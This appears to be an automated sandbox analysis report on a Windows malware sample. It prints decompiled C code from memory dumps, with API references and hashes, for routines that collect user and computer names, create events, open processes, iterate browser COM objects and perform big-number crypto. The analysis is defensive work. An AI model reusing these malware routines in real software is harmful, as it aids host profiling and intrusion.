
0x0418853f
0x04188548
0x0418854f
0x04188554
0x041885c1
0x041885c7
0x041885cc
0x041885d3
0x041885d8
0x041885dd
0x04188748
0x0418874f
0x0418874f
0x04188754
0x04188756
0x04188756
0x0418875f
0x0418875f
0x041885e3
0x041885ef
0x0418873e
0x04188741
0x00000000
0x04188741
0x041885f5
0x041885fa
0x041885fd
0x04188602
0x04188607
0x04188650
0x04188650
0x04188663
0x0418866d
0x04188673
0x0418867a
0x04188684
0x04188684
0x0418867c
0x0418867c
0x0418867c
0x0418867c
0x041886a6
0x041886ae
0x041886dc
0x041886e1
0x041886e8
0x041886ed
0x041886f1
0x04188723
0x041886f3
0x04188700
0x04188703
0x04188713
0x04188716
0x0418871c
0x0418871c
0x041886b0
0x041886bd
0x041886c0
0x041886d2
0x041886d5
0x041886d5
0x0418872d
0x04188739
0x0418872f
0x04188732
0x04188732
0x0418872d
0x041886a6
0x00000000
0x0418866d
0x04188616
0x04188619
0x04188620
0x04188626
0x04188629
0x0418862b
0x04188637
0x0418863a
0x0418863a
0x04188640
0x04188645
0x04188645
0x0418864b
0x00000000
0x0418864b
0x04188559
0x00000000
0x04188580
0x04188580
0x0418858c
0x0418859f
0x041885a5
0x041885ad
0x00000000
0x041885ad

APIs

StrChrA.SHLWAPI(04183741,0000005F,00000000,00000000,00000104), ref: 04188572
lstrcpy.KERNEL32(?,?), ref: 0418859F

Part of subcall function 04189070: lstrlen.KERNEL32(?,00000000,04B29A98,00000000,04188808,04B29C76,?,?,?,?,?,63699BC3,00000005,0418D00C), ref: 04189077
Part of subcall function 04189070: mbstowcs.NTDLL ref: 041890A0
Part of subcall function 04189070: memset.NTDLL ref: 041890B2

Part of subcall function 04185D7D: lstrlenW.KERNEL32(?,?,?,04188708,3D0418C0,80000002,04183741,0418A513,74666F53,4D4C4B48,0418A513,?,3D0418C0,80000002,04183741,?), ref: 04185DA2

Part of subcall function 0418A734: RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

lstrcpy.KERNEL32(?,00000000), ref: 041885C1

Strings

\, xrefs: 041885A5
(, xrefs: 04188622

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: ($\
API String ID: 3924217599-1512714803
Opcode ID: ee14574189c387e0858cce9f5eae5600255008fb38c5f66567fabe16dca5ed08
Instruction ID: 8824bef9ea969c1509e39df6365d56ae2598febb0371b1504b7ac0fa01f4f7c1
Opcode Fuzzy Hash: ee14574189c387e0858cce9f5eae5600255008fb38c5f66567fabe16dca5ed08
Instruction Fuzzy Hash: 1451687210020AEFEF25BF61E9C0EAA77BAEF04354F50855CF91196160EB3AE955EF10

Uniqueness

Uniqueness Score: -1.00%

Function 041811EE, Relevance: 7.6, APIs: 5, Instructions: 96
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E041811EE(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				WCHAR* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				WCHAR** _t32;

				_t6 =  *0x418d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x418d2a8; // 0x99a5a8
				_t3 = _t8 + 0x418e87e; // 0x61636f4c
				_t25 = 0;
				_t30 = E041838A8(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x418d2ac, 1, 0, _t30);
					E0418A734(_t30);
				}
				_t12 =  *0x418d25c; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E0418A65C() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E04188EA1(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 = StrChrW( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 =  &(_t19[1]);
					}
					_t31 = E0418A273(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x041811ef
0x041811f6
0x04181200
0x04181204
0x0418120a
0x04181219
0x04181220
0x04181224
0x04181236
0x04181238
0x04181238
0x0418123d
0x04181244
0x0418129b
0x0418129b
0x041812a1
0x041812a3
0x041812a3
0x041812ad
0x041812b1
0x041812c3
0x041812c3
0x041812c7
0x041812cd
0x041812cd
0x00000000
0x0418125d
0x04181262
0x0418126a
0x0418126e
0x04181272
0x04181272
0x0418127f
0x04181283
0x04181287
0x041812dc
0x041812e2
0x041812e2
0x04181295
0x04181299
0x041812d0
0x041812d2
0x041812d5
0x041812d5
0x00000000
0x041812d2
0x04181299
0x00000000
0x04181283

APIs

Part of subcall function 041838A8: lstrlen.KERNEL32(00000005,00000000,63699BC3,00000027,00000000,04B29A98,00000000,?,?,63699BC3,00000005,0418D00C,?,?,04185D30), ref: 041838DE
Part of subcall function 041838A8: lstrcpy.KERNEL32(00000000,00000000), ref: 04183902
Part of subcall function 041838A8: lstrcat.KERNEL32(00000000,00000000), ref: 0418390A

CreateEventA.KERNEL32(0418D2AC,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,04183760,?,00000001,?), ref: 0418122F

Part of subcall function 0418A734: RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

StrChrW.SHLWAPI(04183760,00000020,61636F4C,00000001,00000000,00000001,?,00000000,?,04183760,?,00000001,?), ref: 04181262
WaitForSingleObject.KERNEL32(00000000,00004E20,04183760,00000000,00000000,?,00000000,?,04183760,?,00000001,?,?,?,?,041852AA), ref: 0418128F
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,04183760,?,00000001,?), ref: 041812BD
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,04183760,?,00000001,?,?,?,?,041852AA), ref: 041812D5

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: 288689468055185586854d350d3f1aa7887451daebfa5d4ab9ae71fe405b8fb2
Instruction ID: 763e096ed1cf22ac05194c85bcffa27b450a8b8704156ebf1b769de0ae9bd22f
Opcode Fuzzy Hash: 288689468055185586854d350d3f1aa7887451daebfa5d4ab9ae71fe405b8fb2
Instruction Fuzzy Hash: 602104336003147BD7317A69ACC4E6B73ABFF89BA4B65065DF901D7140DB64EC428E90

Uniqueness

Uniqueness Score: -1.00%

Function 0418A199, Relevance: 7.6, APIs: 5, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0418A199() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t64 = E0418A71F(_v12 + _t43 + 2 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E0418A734(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x4181fd4
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x0418a1a7
0x0418a1aa
0x0418a1ad
0x0418a1b3
0x0418a1b8
0x0418a1be
0x0418a1c6
0x0418a1c9
0x0418a1cf
0x0418a1d4
0x0418a1e1
0x0418a1ee
0x0418a1f2
0x0418a1f4
0x0418a1f8
0x0418a1fb
0x0418a20b
0x0418a25e
0x0418a25f
0x0418a20d
0x0418a212
0x0418a213
0x0418a218
0x0418a21b
0x0418a22e
0x00000000
0x0418a230
0x0418a233
0x0418a238
0x0418a246
0x0418a249
0x0418a24f
0x0418a254
0x00000000
0x0418a256
0x0418a256
0x0418a259
0x0418a259
0x0418a254
0x0418a22e
0x0418a264
0x0418a265
0x0418a1d4
0x0418a26b

APIs

GetUserNameW.ADVAPI32(00000000,04181FD2), ref: 0418A1AD
GetComputerNameW.KERNEL32(00000000,04181FD2), ref: 0418A1C9

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

GetUserNameW.ADVAPI32(00000000,04181FD2), ref: 0418A203
GetComputerNameW.KERNEL32(04181FD2,?), ref: 0418A226
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,04181FD2,00000000,04181FD4,00000000,00000000,?,?,04181FD2), ref: 0418A249

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: 85a8177ef9bb36de9f70e16c42d187d7c2bb404cbae528ef6f584fdc8c7e55c6
Instruction ID: 11a90ceee3bb44853cdbc4a861fa32a2097fa95ab94ef35797bb304f11f90db1
Opcode Fuzzy Hash: 85a8177ef9bb36de9f70e16c42d187d7c2bb404cbae528ef6f584fdc8c7e55c6
Instruction Fuzzy Hash: 0921FA76A01208FFDB21DFE5D9C58AEBBB9EF44344B1044AEE502E7240E735AB44DB50

Uniqueness

Uniqueness Score: -1.00%

Function 04183DE9, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E04183DE9(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E04185AF1(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E0418A81C(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x418d128() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x04183de9
0x04183df6
0x04183df8
0x04183e5b
0x00000000
0x04183e5b
0x04183e10
0x04183e17
0x04183e23
0x04183e28
0x04183e2a
0x04183e2c
0x04183e2e
0x04183e30
0x04183e32
0x04183e3e
0x04183e4e
0x00000000
0x04183e40
0x04183e40
0x04183e47
0x04183e54
0x04183e54
0x04183e54
0x04183e47
0x04183e3e
0x04183e59
0x00000000
0x00000000
0x04183e5f

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,041867B8,?,?,00000000,00000000), ref: 04183E23
ResetEvent.KERNEL32(?), ref: 04183E28
GetLastError.KERNEL32 ref: 04183E40
GetLastError.KERNEL32(?,?,00000102,041867B8,?,?,00000000,00000000), ref: 04183E5B

Part of subcall function 04185AF1: lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,04183E08,?,?,?,?,00000102,041867B8,?,?,00000000), ref: 04185AFD
Part of subcall function 04185AF1: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04183E08,?,?,?,?,00000102,041867B8,?), ref: 04185B5B
Part of subcall function 04185AF1: lstrcpy.KERNEL32(00000000,00000000), ref: 04185B6B

SetEvent.KERNEL32(?), ref: 04183E4E

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: b280b195dcdcd5967a511732bab567489eb00da7a20176578bda459a15193409
Instruction ID: 30d767f17978d2c283c0da4628298b8481e0b23a50455d5c4e2b48a898ade2d0
Opcode Fuzzy Hash: b280b195dcdcd5967a511732bab567489eb00da7a20176578bda459a15193409
Instruction Fuzzy Hash: 7F014F31204605ABD7307F61DCC4F1BB7A4EF44BA4F154A2DF961910E0E762F8449EA5

Uniqueness

Uniqueness Score: -1.00%

Function 04183E69, Relevance: 7.5, APIs: 5, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04183E69(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x418d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x418d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x418d258 = _t6;
					 *0x418d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x418d254 = _t7;
					if(_t7 == 0) {
						 *0x418d254 =  *0x418d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}

0x04183e71
0x04183e77
0x04183e7e
0x00000000
0x04183ed8
0x04183e80
0x04183e88
0x04183e95
0x04183e95
0x04183ed5
0x00000000
0x04183ed5
0x04183e97
0x04183e97
0x04183e9c
0x04183eae
0x04183eb3
0x04183eb9
0x04183ebf
0x04183ec6
0x04183ec8
0x04183ec8
0x00000000
0x04183ecf
0x04183e91
0x00000000
0x00000000
0x04183e93
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,0418131F,?,?,00000001,?,?,?,04184EF2,?), ref: 04183E71
GetVersion.KERNEL32(?,00000001,?,?,?,04184EF2,?), ref: 04183E80
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,04184EF2,?), ref: 04183E9C
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,04184EF2,?), ref: 04183EB9
GetLastError.KERNEL32(?,00000001,?,?,?,04184EF2,?), ref: 04183ED8

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 7150b205457a747d64b102eb95948523b4d6864c421823a3e3ec117a1baa2b63
Instruction ID: d45c66a3a6f39fa6033746bc8108de6795ed4bad54228b43d986fa304c8b086c
Opcode Fuzzy Hash: 7150b205457a747d64b102eb95948523b4d6864c421823a3e3ec117a1baa2b63
Instruction Fuzzy Hash: B0F0AF7474030AABE720AF2AB84DB193B62E780B81F14051DF923DA1C0E779E881CF65

Uniqueness

Uniqueness Score: -1.00%

Function 04186F3A, Relevance: 6.2, APIs: 4, Instructions: 154
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E04186F3A(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x418d2a8; // 0x99a5a8
					_t5 = _t103 + 0x418e038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x418c290);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x418d2a8; // 0x99a5a8
												_t28 = _t109 + 0x418e0bc; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x418d2a8; // 0x99a5a8
														_t33 = _t79 + 0x418e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}

0x04186f3f
0x04186f48
0x04186f49
0x04186f4d
0x04186f53
0x04186f59
0x04186f62
0x04186f68
0x04186f72
0x04186f74
0x04186f7a
0x04186f7f
0x04186f8a
0x04186f90
0x04186f95
0x041870b7
0x04186f9b
0x04186f9b
0x04186fa8
0x04186fae
0x04186fb4
0x04186fb8
0x04186fbe
0x04186fcb
0x04186fcf
0x04186fd5
0x04186fd8
0x04186fe0
0x04186fe1
0x04186fe5
0x04186fe9
0x04186fec
0x04186fef
0x04186ff5
0x04186ffe
0x04187004
0x04187005
0x04187008
0x04187009
0x0418700a
0x04187012
0x04187013
0x04187014
0x04187016
0x0418701a
0x0418701e
0x00000000
0x00000000
0x04187024
0x0418702d
0x04187033
0x0418703d
0x04187041
0x04187043
0x04187050
0x04187054
0x0418705c
0x04187061
0x04187073
0x04187075
0x0418707b
0x0418707b
0x04187084
0x04187084
0x04187086
0x0418708c
0x0418708c
0x0418708f
0x04187095
0x04187098
0x041870a1
0x00000000
0x00000000
0x00000000
0x041870a1
0x04186ff5
0x04186fef
0x04186fd8
0x041870a7
0x041870a7
0x041870ad
0x041870ad
0x041870b3
0x041870b3
0x041870bc
0x041870c2
0x041870c2
0x04186f7f
0x041870cb

APIs

SysAllocString.OLEAUT32(0418C290), ref: 04186F8A
lstrcmpW.KERNEL32(00000000,0076006F), ref: 0418706B
SysFreeString.OLEAUT32(00000000), ref: 04187084
SysFreeString.OLEAUT32(?), ref: 041870B3

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: c0c9ab2fb962e63f4c220e9a2f0b89139b6ad90f09a539414216f85572c6b384
Instruction ID: 3e4e4b1380f6a2ae79ea1e3ec7ae7fdfd7d8cb6b9affc34a2e370b54e08a6ad0
Opcode Fuzzy Hash: c0c9ab2fb962e63f4c220e9a2f0b89139b6ad90f09a539414216f85572c6b384
Instruction Fuzzy Hash: D1510E75D00519EFCB00EFE8C8889AEF7B6EF89704B244598E915EB251D732AD41CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 041853C6, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E041853C6(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E04181AD1(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E041850FF(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E04185745(_t101,  &_v236, _a8, _t96 - _t81);
					E04185745(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E041850FF(_t101, 0x418d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E041850FF(_a16, _a4);
						E04185088(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L0418AF2E();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L0418AF28();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E04185F21(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E041890C2(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E04186044(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x418d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x041853c9
0x041853d5
0x041853db
0x041853e0
0x041853e4
0x04185541
0x04185545
0x04185545
0x041853ea
0x041853ee
0x041853f2
0x041853f5
0x04185400
0x04185406
0x0418540b
0x0418540e
0x04185428
0x04185434
0x0418543d
0x04185447
0x0418544c
0x0418544e
0x04185451
0x041854ff
0x04185505
0x04185516
0x04185529
0x04185539
0x00000000
0x0418553e
0x0418545a
0x04185461
0x04185465
0x0418546b
0x0418546d
0x0418546f
0x04185471
0x04185473
0x0418547d
0x04185482
0x04185484
0x04185486
0x04185487
0x04185488
0x04185489
0x04185490
0x04185497
0x0418549a
0x0418549a
0x04185467
0x04185467
0x04185467
0x041854a2
0x041854aa
0x041854b3
0x041854b8
0x041854b8
0x041854bd
0x00000000
0x00000000
0x041854bf
0x041854c2
0x041854cc
0x00000000
0x00000000
0x041854ce
0x041854ce
0x041854d8
0x041854b8
0x041854bd
0x00000000
0x00000000
0x00000000
0x041854bd
0x041854e2
0x041854e5
0x041854e8
0x041854ef
0x041854ef
0x041854fc
0x00000000
0x041854fc
0x041853f7
0x041853fb
0x041853fc
0x041853fe
0x00000000
0x00000000
0x00000000
0x041853fe
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 04185473
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 04185489
memset.NTDLL ref: 04185529
memset.NTDLL ref: 04185539

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: ab7838d61d35e1c2a23f87678e004b7edcfe5e98ea8998a400f402533687c961
Instruction ID: abcbfd518c2357c95e0a0a5618a7c2ab7615996c7b7a1e436b6b8f0552f4614c
Opcode Fuzzy Hash: ab7838d61d35e1c2a23f87678e004b7edcfe5e98ea8998a400f402533687c961
Instruction Fuzzy Hash: 72416071600259BBEB10AFA8DCC0BDE7776EF44714F10856DB91AA7280EB70B9558F90

Uniqueness

Uniqueness Score: -1.00%

Function 0418A81C, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,75144D40), ref: 0418A82E

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

ResetEvent.KERNEL32(?), ref: 0418A8A2
GetLastError.KERNEL32 ref: 0418A8C5
GetLastError.KERNEL32 ref: 0418A970

